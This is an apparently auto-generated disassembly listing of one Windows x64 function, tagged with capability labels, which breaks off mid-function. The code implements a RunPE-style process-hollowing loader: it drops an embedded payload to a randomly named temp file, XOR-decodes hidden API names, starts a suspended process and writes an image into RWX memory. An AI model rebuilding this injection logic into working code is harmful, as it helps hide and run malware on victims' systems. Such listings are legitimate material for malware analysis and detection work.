Function at 0x1400018c0
Capabilities:
Get common file path
Link many functions at runtime
Resolve function by parsing pe exports
Write file on windows

Disassembly:
mov eax, 0xacc8
call fcn.140015c80
sub rsp, rax
mov qword [rsp + 0xa898], rcx
mov rax, qword [rsp + 0xa898]
mov qword [rsp + 0xa890], rax
mov rax, qword [rsp + 0xa890]
mov rcx, qword [rsp + 0xa890]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0xa888], rax
mov rax, qword [rsp + 0xa890]
mov rcx, qword [rsp + 0xa890]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
add rax, 0x108
mov qword [rsp + 0xa880], rax
cmp qword [rsp + 0xa890], 0
je 0x140001956
cmp qword [rsp + 0xa888], 0
je 0x140001956
cmp qword [rsp + 0xa880], 0
jne 0x140001963
mov byte [rsp + 0xa8a7], 0
jmp 0x1400041e2
lea rdx, [rsp + 0xa680]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor eax, eax
mov ecx, eax
call sym.time_long_long_
mov ecx, eax
call sub.msvcrt.dll_srand
mov rax, qword [str.QWEDFG345678zxcvbnw]
mov qword [rsp + 0xa660], rax
mov rax, qword [0x1400a42e8]
mov qword [rsp + 0xa668], rax
mov ax, word [0x1400a42f0]
mov word [rsp + 0xa670], ax
lea rcx, [rsp + 0xa550]
xor edx, edx
mov r8d, 0x104
call sub.msvcrt.dll_memset
call sub.msvcrt.dll_rand
mov ecx, 0xa
cdq
idiv ecx
add edx, 0xa
mov dword [rsp + 0xa54c], edx
mov dword [rsp + 0xa548], 0
mov eax, dword [rsp + 0xa548]
cmp eax, dword [rsp + 0xa54c]
jge 0x140001a61
call sub.msvcrt.dll_rand
cdqe
mov ecx, 0x12
xor edx, edx
div rcx
mov eax, edx
mov dword [rsp + 0xa544], eax
movsxd rax, dword [rsp + 0xa544]
mov al, byte [rsp + rax + 0xa660]
mov byte [rsp + 0xa542], al
mov byte [rsp + 0xa543], 0
lea rcx, [rsp + 0xa550]
lea rdx, [rsp + 0xa542]
call sub.msvcrt.dll_strcat
mov eax, dword [rsp + 0xa548]
add eax, 1
mov dword [rsp + 0xa548], eax
jmp 0x1400019ea
lea rdx, [rsp + 0xa680]
lea rcx, [rsp + 0xa330]
call sym.int_wcscpy_s_260ull__wchar_t_____260ull___wchar_t_const_
lea rdx, [rsp + 0xa550]
lea rcx, [rsp + 0xa330]
call sym.int_wcscat_s_260ull__wchar_t_____260ull___wchar_t_const_
mov word [rsp + 0xa536], 0
mov qword [rsp + 0xa328], 0
lea rdx, [rsp + 0xa330]
lea rcx, [rsp + 0xa328]
lea r8, [0x1400a42f2]
call qword [sym.imp.msvcrt.dll__wfopen_s]
mov dword [rsp + 0xa324], eax
cmp dword [rsp + 0xa324], 0
jne 0x140001ae2
cmp qword [rsp + 0xa328], 0
jne 0x140001aef
mov byte [rsp + 0xa8a7], 0
jmp 0x1400041e2
mov byte [rsp + 0xa2f0], 0x5c
mov byte [rsp + 0xa2f1], 0x6b
mov byte [rsp + 0xa2f2], 6
mov byte [rsp + 0xa2f3], 0x48
mov byte [rsp + 0xa2f4], 0xea
mov byte [rsp + 0xa2f5], 0xef
mov byte [rsp + 0xa2f6], 0x4b
mov byte [rsp + 0xa2f7], 0xb7
lea rax, [rsp + 0xa2f0]
mov qword [rsp + 0xa2f8], rax
mov qword [rsp + 0xa300], 8
lea r8, [rsp + 0xa2e8]
mov qword [rsp + 0xa8a8], r8
mov rax, qword [rsp + 0xa8a8]
mov qword [rsp + 0xaa18], rax
lea rcx, [rsp + 0xa308]
lea rdx, [rsp + 0xa2f8]
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_std::initializer_list_unsigned_char___std::allocator_unsigned_char__const_
jmp 0x140001b85
lea rax, [rsp + 0xa2e8]
mov qword [rsp + 0xa8b0], rax
mov rcx, qword [rsp + 0xa8b0]
call method.std::__new_allocator_unsigned_char_.__new_allocator__
lea rdx, [0x1400a4300]
lea rcx, [rsp + 0x970]
mov qword [rsp + 0x350], rcx
mov r8d, 0x9960
mov qword [rsp + 0x358], r8
call sym.memcpy
mov rdx, qword [rsp + 0x350]
mov r8, qword [rsp + 0x358]
lea rcx, [rsp + 0xa308]
call sym._ds_std::vector_unsigned_char__std::allocator_unsigned_char____const__unsigned_char__unsigned_long_long_
jmp 0x140001bee
mov r9, qword [rsp + 0xa328]
lea rcx, [rsp + 0x970]
mov edx, 1
mov r8d, 0x9960
call sub.msvcrt.dll_fwrite
jmp 0x140001c13
mov rcx, qword [rsp + 0xa328]
call sub.msvcrt.dll_fclose
jmp 0x140001c25
mov rcx, qword [rsp + 0xa888]
mov rdx, qword [rsp + 0xa880]
call sym.hasReloc__IMAGE_NT_HEADERS___IMAGE_SECTION_HEADER_
mov byte [rsp + 0x34f], al
jmp 0x140001c46
mov al, byte [rsp + 0x34f]
and al, 1
mov byte [rsp + 0x96f], al
mov rax, qword [rsp + 0xa898]
mov qword [rsp + 0x960], rax
xorps xmm0, xmm0
movaps xmmword [rsp + 0x940], xmm0
movaps xmmword [rsp + 0x930], xmm0
movaps xmmword [rsp + 0x920], xmm0
movaps xmmword [rsp + 0x910], xmm0
movaps xmmword [rsp + 0x900], xmm0
movaps xmmword [rsp + 0x8f0], xmm0
mov qword [rsp + 0x950], 0
mov dword [rsp + 0x8f0], 0x68
movaps xmmword [rsp + 0x8d0], xmm0
mov qword [rsp + 0x8e0], 0
lea rcx, [rsp + 0x8b0]
lea rdx, [rsp + 0x8a8]
call sym.runpe_unsigned_char_::__0::operator_____const
jmp 0x140001cde
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0xa8c0], rax
mov rax, qword [rsp + 0xa8c0]
mov qword [rsp + 0x340], rax
mov qword [rsp + 0xaa38], rax
mov rax, qword [rsp + 0xaa38]
movzx eax, word [rax + 0x18]
cmp eax, 0
je 0x140001db8
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0xaa98], rax
mov qword [rsp + 0xaa90], rax
mov rax, qword [rsp + 0xaa98]
mov qword [rsp + 0x338], rax
mov dword [rsp + 0xaa8c], 0
cmp dword [rsp + 0xaa8c], 0xd
jge 0x140001db3
mov rax, qword [rsp + 0xaa90]
movsxd rcx, dword [rsp + 0xaa8c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaa8c]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0x338]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaa8c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaa8c]
add eax, 1
mov dword [rsp + 0xaa8c], eax
jmp 0x140001d4e
jmp 0x140001db8
jmp 0x140001dbd
mov rcx, qword [rsp + 0x340]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
call rax
mov qword [rsp + 0x330], rax
jmp 0x140001ddb
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x8a0], rax
cmp qword [rsp + 0x8a0], 0
jne 0x140001e6e
mov byte [rsp + 0xa8a7], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041d5
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0xa8d0], rax
mov rax, qword [rsp + 0xa8d0]
mov qword [rsp + 0x328], rax
mov qword [rsp + 0xaa28], rax
mov rax, qword [rsp + 0xaa28]
movzx eax, word [rax + 0x18]
cmp eax, 0
jne 0x140001f48
mov rax, qword [rsp + 0x328]
mov qword [rsp + 0xaa68], rax
mov qword [rsp + 0xaa60], rax
mov rax, qword [rsp + 0xaa68]
mov qword [rsp + 0x320], rax
mov dword [rsp + 0xaa5c], 0
cmp dword [rsp + 0xaa5c], 0xd
jge 0x140001f43
mov rax, qword [rsp + 0xaa60]
movsxd rcx, dword [rsp + 0xaa5c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaa5c]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0x320]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaa5c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaa5c]
add eax, 1
mov dword [rsp + 0xaa5c], eax
jmp 0x140001ede
jmp 0x140001f48
jmp 0x140001f4d
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0xa8f0], rax
mov rax, qword [rsp + 0xa8f0]
mov qword [rsp + 0x318], rax
mov dword [rsp + 0xa8ec], 0
cmp dword [rsp + 0xa8ec], 0xd
jge 0x140001fb2
mov rax, qword [rsp + 0x318]
movsxd rcx, dword [rsp + 0xa8ec]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa8ec]
add eax, 1
mov dword [rsp + 0xa8ec], eax
jmp 0x140001f78
jmp 0x140001fb7
lea rcx, [rsp + 0x878]
lea rdx, [rsp + 0x870]
call sym.runpe_unsigned_char_::__1::operator_____const
jmp 0x140001fd1
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x308], rax
lea rax, [rsp + 0x878]
mov qword [rsp + 0xa8f8], rax
mov rax, qword [rsp + 0xa8f8]
mov qword [rsp + 0x310], rax
mov qword [rsp + 0xaac8], rax
mov rax, qword [rsp + 0xaac8]
movzx eax, word [rax + 0x1c]
cmp eax, 0
je 0x1400020bb
mov rax, qword [rsp + 0x310]
mov qword [rsp + 0xab58], rax
mov qword [rsp + 0xab50], rax
mov rax, qword [rsp + 0xab58]
mov qword [rsp + 0x300], rax
mov dword [rsp + 0xab4c], 0
cmp dword [rsp + 0xab4c], 0xf
jge 0x1400020b6
mov rax, qword [rsp + 0xab50]
movsxd rcx, dword [rsp + 0xab4c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xab4c]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0x300]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xab4c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xab4c]
add eax, 1
mov dword [rsp + 0xab4c], eax
jmp 0x140002051
jmp 0x1400020bb
jmp 0x1400020c0
mov rcx, qword [rsp + 0x310]
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov qword [rsp + 0x2f8], rax
jmp 0x1400020da
mov rdx, qword [rsp + 0x2f8]
mov rcx, qword [rsp + 0x308]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x2f0], rax
jmp 0x140002100
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x868], rax
cmp qword [rsp + 0x868], 0
jne 0x140002137
mov byte [rsp + 0xa8a7], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041d5
mov rax, qword [rsp + 0x868]
mov rcx, rsp
lea rdx, [rsp + 0x8d0]
mov qword [rcx + 0x48], rdx
lea rdx, [rsp + 0x8f0]
mov qword [rcx + 0x40], rdx
mov qword [rcx + 0x38], 0
mov qword [rcx + 0x30], 0
mov dword [rcx + 0x28], 4
mov dword [rcx + 0x20], 1
xor ecx, ecx
mov r9d, ecx
lea rcx, [rsp + 0xa330]
mov rdx, r9
mov r8, r9
call rax
mov qword [rsp + 0x2e8], rax
jmp 0x14000219a
mov rax, qword [rsp + 0x2e8]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x867], al
mov al, byte [rsp + 0x867]
and al, 1
movzx eax, al
cmp eax, 0
jne 0x1400021df
mov byte [rsp + 0xa8a7], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041d5
lea rax, [rsp + 0x878]
mov qword [rsp + 0xa910], rax
mov rax, qword [rsp + 0xa910]
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0xaab0], rax
mov rax, qword [rsp + 0xaab0]
movzx eax, word [rax + 0x1c]
cmp eax, 0
jne 0x1400022b9
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0xab10], rax
mov qword [rsp + 0xab08], rax
mov rax, qword [rsp + 0xab10]
mov qword [rsp + 0x2d8], rax
mov dword [rsp + 0xab04], 0
cmp dword [rsp + 0xab04], 0xf
jge 0x1400022b4
mov rax, qword [rsp + 0xab08]
movsxd rcx, dword [rsp + 0xab04]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xab04]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0x2d8]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xab04]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xab04]
add eax, 1
mov dword [rsp + 0xab04], eax
jmp 0x14000224f
jmp 0x1400022b9
jmp 0x1400022be
lea rax, [rsp + 0x878]
mov qword [rsp + 0xa940], rax
mov rax, qword [rsp + 0xa940]
mov qword [rsp + 0x2d0], rax
mov dword [rsp + 0xa93c], 0
cmp dword [rsp + 0xa93c], 0xf
jge 0x140002323
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rsp + 0xa93c]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa93c]
add eax, 1
mov dword [rsp + 0xa93c], eax
jmp 0x1400022e9
jmp 0x140002328
test byte [rsp + 0x96f], 1
je 0x14000263b
lea rcx, [rsp + 0x840]
lea rdx, [rsp + 0x838]
call sym.runpe_unsigned_char_::__2::operator_____const
jmp 0x140002350
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x2b8], rax
lea rax, [rsp + 0x840]
mov qword [rsp + 0xa958], rax
mov rax, qword [rsp + 0xa958]
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0xa960], rax
mov rax, qword [rsp + 0xa960]
mov qword [rsp + 0x2c8], rax
mov qword [rsp + 0xaaa0], rax
mov rax, qword [rsp + 0xaaa0]
movzx eax, word [rax + 0x1c]
cmp eax, 0
je 0x140002452
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0xaae0], rax
mov qword [rsp + 0xaad8], rax
mov rax, qword [rsp + 0xaae0]
mov qword [rsp + 0x2b0], rax
mov dword [rsp + 0xaad4], 0
cmp dword [rsp + 0xaad4], 0xf
jge 0x14000244d
mov rax, qword [rsp + 0xaad8]
movsxd rcx, dword [rsp + 0xaad4]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaad4]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0x2b0]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaad4]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaad4]
add eax, 1
mov dword [rsp + 0xaad4], eax
jmp 0x1400023e8
jmp 0x140002452
jmp 0x140002457
mov rcx, qword [rsp + 0x2c0]
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov qword [rsp + 0x2a8], rax
jmp 0x140002471
mov rdx, qword [rsp + 0x2a8]
mov rcx, qword [rsp + 0x2b8]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x2a0], rax
jmp 0x140002497
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x830], rax
cmp qword [rsp + 0x830], 0
jne 0x1400024ce
mov byte [rsp + 0xa8a7], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041d5
mov rax, qword [rsp + 0x830]
mov rcx, qword [rsp + 0x8d0]
lea rdx, [rsp + 0x860]
call rax
jmp 0x1400024ed
lea rax, [rsp + 0x840]
mov qword [rsp + 0xa908], rax
mov rax, qword [rsp + 0xa908]
mov qword [rsp + 0x298], rax
mov qword [rsp + 0xaab8], rax
mov rax, qword [rsp + 0xaab8]
movzx eax, word [rax + 0x1c]
cmp eax, 0
jne 0x1400025c7
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0xab28], rax
mov qword [rsp + 0xab20], rax
mov rax, qword [rsp + 0xab28]
mov qword [rsp + 0x290], rax
mov dword [rsp + 0xab1c], 0
cmp dword [rsp + 0xab1c], 0xf
jge 0x1400025c2
mov rax, qword [rsp + 0xab20]
movsxd rcx, dword [rsp + 0xab1c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xab1c]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0x290]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xab1c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xab1c]
add eax, 1
mov dword [rsp + 0xab1c], eax
jmp 0x14000255d
jmp 0x1400025c7
jmp 0x1400025cc
lea rax, [rsp + 0x840]
mov qword [rsp + 0xa930], rax
mov rax, qword [rsp + 0xa930]
mov qword [rsp + 0x288], rax
mov dword [rsp + 0xa92c], 0
cmp dword [rsp + 0xa92c], 0xf
jge 0x140002631
mov rax, qword [rsp + 0x288]
movsxd rcx, dword [rsp + 0xa92c]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa92c]
add eax, 1
mov dword [rsp + 0xa92c], eax
jmp 0x1400025f7
jmp 0x140002636
jmp 0x14000263b
lea rcx, [rsp + 0x810]
lea rdx, [rsp + 0x808]
call sym.runpe_unsigned_char_::__3::operator_____const
jmp 0x140002655
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x270], rax
lea rax, [rsp + 0x810]
mov qword [rsp + 0xa948], rax
mov rax, qword [rsp + 0xa948]
mov qword [rsp + 0x278], rax
mov qword [rsp + 0xa950], rax
mov rax, qword [rsp + 0xa950]
mov qword [rsp + 0x280], rax
mov qword [rsp + 0xaaa8], rax
mov rax, qword [rsp + 0xaaa8]
movzx eax, word [rax + 0x1c]
cmp eax, 0
je 0x140002757
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xaaf8], rax
mov qword [rsp + 0xaaf0], rax
mov rax, qword [rsp + 0xaaf8]
mov qword [rsp + 0x268], rax
mov dword [rsp + 0xaaec], 0
cmp dword [rsp + 0xaaec], 0xf
jge 0x140002752
mov rax, qword [rsp + 0xaaf0]
movsxd rcx, dword [rsp + 0xaaec]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaaec]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0x268]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaaec]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaaec]
add eax, 1
mov dword [rsp + 0xaaec], eax
jmp 0x1400026ed
jmp 0x140002757
jmp 0x14000275c
mov rcx, qword [rsp + 0x278]
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov qword [rsp + 0x260], rax
jmp 0x140002776
mov rdx, qword [rsp + 0x260]
mov rcx, qword [rsp + 0x270]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x258], rax
jmp 0x14000279c
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0x800], rax
cmp qword [rsp + 0x800], 0
jne 0x1400027d3
mov byte [rsp + 0xa8a7], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041d5
lea rax, [rsp + 0x810]
mov qword [rsp + 0xa900], rax
mov rax, qword [rsp + 0xa900]
mov qword [rsp + 0x250], rax
mov qword [rsp + 0xaac0], rax
mov rax, qword [rsp + 0xaac0]
movzx eax, word [rax + 0x1c]
cmp eax, 0
jne 0x1400028ad
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0xab40], rax
mov qword [rsp + 0xab38], rax
mov rax, qword [rsp + 0xab40]
mov qword [rsp + 0x248], rax
mov dword [rsp + 0xab34], 0
cmp dword [rsp + 0xab34], 0xf
jge 0x1400028a8
mov rax, qword [rsp + 0xab38]
movsxd rcx, dword [rsp + 0xab34]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xab34]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0x248]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xab34]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xab34]
add eax, 1
mov dword [rsp + 0xab34], eax
jmp 0x140002843
jmp 0x1400028ad
jmp 0x1400028b2
lea rax, [rsp + 0x810]
mov qword [rsp + 0xa920], rax
mov rax, qword [rsp + 0xa920]
mov qword [rsp + 0x240], rax
mov dword [rsp + 0xa91c], 0
cmp dword [rsp + 0xa91c], 0xf
jge 0x140002917
mov rax, qword [rsp + 0x240]
movsxd rcx, dword [rsp + 0xa91c]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa91c]
add eax, 1
mov dword [rsp + 0xa91c], eax
jmp 0x1400028dd
jmp 0x14000291c
mov rax, qword [rsp + 0x800]
mov rcx, qword [rsp + 0x8d0]
mov r8, qword [rsp + 0xa888]
mov edx, dword [r8 + 0x34]
mov r8d, dword [r8 + 0x50]
mov r9, rsp
mov dword [r9 + 0x20], 0x40
mov r9d, 0x3000
call rax
mov qword [rsp + 0x238], rax
jmp 0x14000295c
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x7f8], rax
cmp qword [rsp + 0x7f8], 0
jne 0x140002ca7
lea rcx, [rsp + 0x7d0]
lea rdx, [rsp + 0x7c8]
call sym.runpe_unsigned_char_::__4::operator_____const
jmp 0x140002995
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x220], rax
lea rax, [rsp + 0x7d0]
mov qword [rsp + 0xa968], rax
mov rax, qword [rsp + 0xa968]
mov qword [rsp + 0x228], rax
mov qword [rsp + 0xab60], rax
mov rax, qword [rsp + 0xab60]
mov qword [rsp + 0x230], rax
mov qword [rsp + 0xab68], rax
mov rax, qword [rsp + 0xab68]
movzx eax, word [rax + 0x20]
cmp eax, 0
je 0x140002a97
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0xab88], rax
mov qword [rsp + 0xab80], rax
mov rax, qword [rsp + 0xab88]
mov qword [rsp + 0x218], rax
mov dword [rsp + 0xab7c], 0
cmp dword [rsp + 0xab7c], 0x11
jge 0x140002a92
mov rax, qword [rsp + 0xab80]
movsxd rcx, dword [rsp + 0xab7c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xab7c]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0x218]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xab7c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xab7c]
add eax, 1
mov dword [rsp + 0xab7c], eax
jmp 0x140002a2d
jmp 0x140002a97
jmp 0x140002a9c
jmp 0x140002aa1
mov rcx, qword [rsp + 0x228]
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov qword [rsp + 0x210], rax
jmp 0x140002abb
mov rdx, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x220]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x208], rax
jmp 0x140002ae1
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x7c0], rax
cmp qword [rsp + 0x7c0], 0
jne 0x140002b18
mov byte [rsp + 0xa8a7], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041d5
mov rax, qword [rsp + 0x7c0]
mov rcx, qword [rsp + 0x8d0]
xor edx, edx
call rax
jmp 0x140002b31
mov rcx, qword [rsp + 0x8a0]
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
jmp 0x140002b47
lea rax, [rsp + 0x7d0]
mov qword [rsp + 0xa970], rax
mov rax, qword [rsp + 0xa970]
mov qword [rsp + 0x200], rax
mov qword [rsp + 0xab70], rax
mov rax, qword [rsp + 0xab70]
movzx eax, word [rax + 0x20]
cmp eax, 0
jne 0x140002c21
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0xaba0], rax
mov qword [rsp + 0xab98], rax
mov rax, qword [rsp + 0xaba0]
mov qword [rsp + 0x1f8], rax
mov dword [rsp + 0xab94], 0
cmp dword [rsp + 0xab94], 0x11
jge 0x140002c1c
mov rax, qword [rsp + 0xab98]
movsxd rcx, dword [rsp + 0xab94]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xab94]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0x1f8]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xab94]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xab94]
add eax, 1
mov dword [rsp + 0xab94], eax
jmp 0x140002bb7
jmp 0x140002c21
jmp 0x140002c26
lea rax, [rsp + 0x7d0]
mov qword [rsp + 0xa980], rax
mov rax, qword [rsp + 0xa980]
mov qword [rsp + 0x1f0], rax
mov dword [rsp + 0xa97c], 0
cmp dword [rsp + 0xa97c], 0x11
jge 0x140002c8b
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rsp + 0xa97c]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa97c]
add eax, 1
mov dword [rsp + 0xa97c], eax
jmp 0x140002c51
jmp 0x140002c90
mov rcx, qword [rsp + 0xa898]
call sym.runpe_unsigned_char_
jmp 0x140002ca2
jmp 0x140002ca7
mov eax, dword [rsp + 0x7f8]
mov rcx, qword [rsp + 0xa888]
mov ecx, dword [rcx + 0x34]
sub eax, ecx
mov dword [rsp + 0x7bc], eax
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x788]
call sym.runpe_unsigned_char_::__5::operator_____const
jmp 0x140002cdc
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x790]
mov qword [rsp + 0xa988], rax
mov rax, qword [rsp + 0xa988]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0xaba8], rax
mov rax, qword [rsp + 0xaba8]
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0xabb0], rax
mov rax, qword [rsp + 0xabb0]
movzx eax, word [rax + 0x24]
cmp eax, 0
je 0x140002dde
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0xabd0], rax
mov qword [rsp + 0xabc8], rax
mov rax, qword [rsp + 0xabd0]
mov qword [rsp + 0x1d0], rax
mov dword [rsp + 0xabc4], 0
cmp dword [rsp + 0xabc4], 0x13
jge 0x140002dd9
mov rax, qword [rsp + 0xabc8]
movsxd rcx, dword [rsp + 0xabc4]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xabc4]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0x1d0]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xabc4]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xabc4]
add eax, 1
mov dword [rsp + 0xabc4], eax
jmp 0x140002d74
jmp 0x140002dde
jmp 0x140002de3
jmp 0x140002de8
mov rcx, qword [rsp + 0x1e0]
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov qword [rsp + 0x1c8], rax
jmp 0x140002e02
mov rdx, qword [rsp + 0x1c8]
mov rcx, qword [rsp + 0x1d8]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x1c0], rax
jmp 0x140002e28
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x780], rax
lea rax, [rsp + 0x790]
mov qword [rsp + 0xa990], rax
mov rax, qword [rsp + 0xa990]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0xabb8], rax
mov rax, qword [rsp + 0xabb8]
movzx eax, word [rax + 0x24]
cmp eax, 0
jne 0x140002f12
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0xabe8], rax
mov qword [rsp + 0xabe0], rax
mov rax, qword [rsp + 0xabe8]
mov qword [rsp + 0x1b0], rax
mov dword [rsp + 0xabdc], 0
cmp dword [rsp + 0xabdc], 0x13
jge 0x140002f0d
mov rax, qword [rsp + 0xabe0]
movsxd rcx, dword [rsp + 0xabdc]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xabdc]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0x1b0]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xabdc]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xabdc]
add eax, 1
mov dword [rsp + 0xabdc], eax
jmp 0x140002ea8
jmp 0x140002f12
jmp 0x140002f17
lea rax, [rsp + 0x790]
mov qword [rsp + 0xa9a0], rax
mov rax, qword [rsp + 0xa9a0]
mov qword [rsp + 0x1a8], rax
mov dword [rsp + 0xa99c], 0
cmp dword [rsp + 0xa99c], 0x13
jge 0x140002f7c
mov rax, qword [rsp + 0x1a8]
movsxd rcx, dword [rsp + 0xa99c]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa99c]
add eax, 1
mov dword [rsp + 0xa99c], eax
jmp 0x140002f42
jmp 0x140002f81
mov byte [rsp + 0x77f], 0
test byte [rsp + 0x96f], 1
je 0x14000300c
mov ecx, dword [rsp + 0x7f8]
mov rax, qword [rsp + 0xa888]
mov dword [rax + 0x34], ecx
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x7f8]
mov r8, qword [rsp + 0x960]
mov r9, qword [rsp + 0xa888]
mov r9d, dword [r9 + 0x54]
mov r10, rsp
mov qword [r10 + 0x20], 0
call rax
mov qword [rsp + 0x1a0], rax
jmp 0x140002fef
mov rax, qword [rsp + 0x1a0]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x77f], al
jmp 0x14000306a
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x7f8]
mov r8, qword [rsp + 0x960]
mov r9, qword [rsp + 0xa888]
mov r9d, dword [r9 + 0x54]
mov r10, rsp
mov qword [r10 + 0x20], 0
call rax
mov qword [rsp + 0x198], rax
jmp 0x140003052
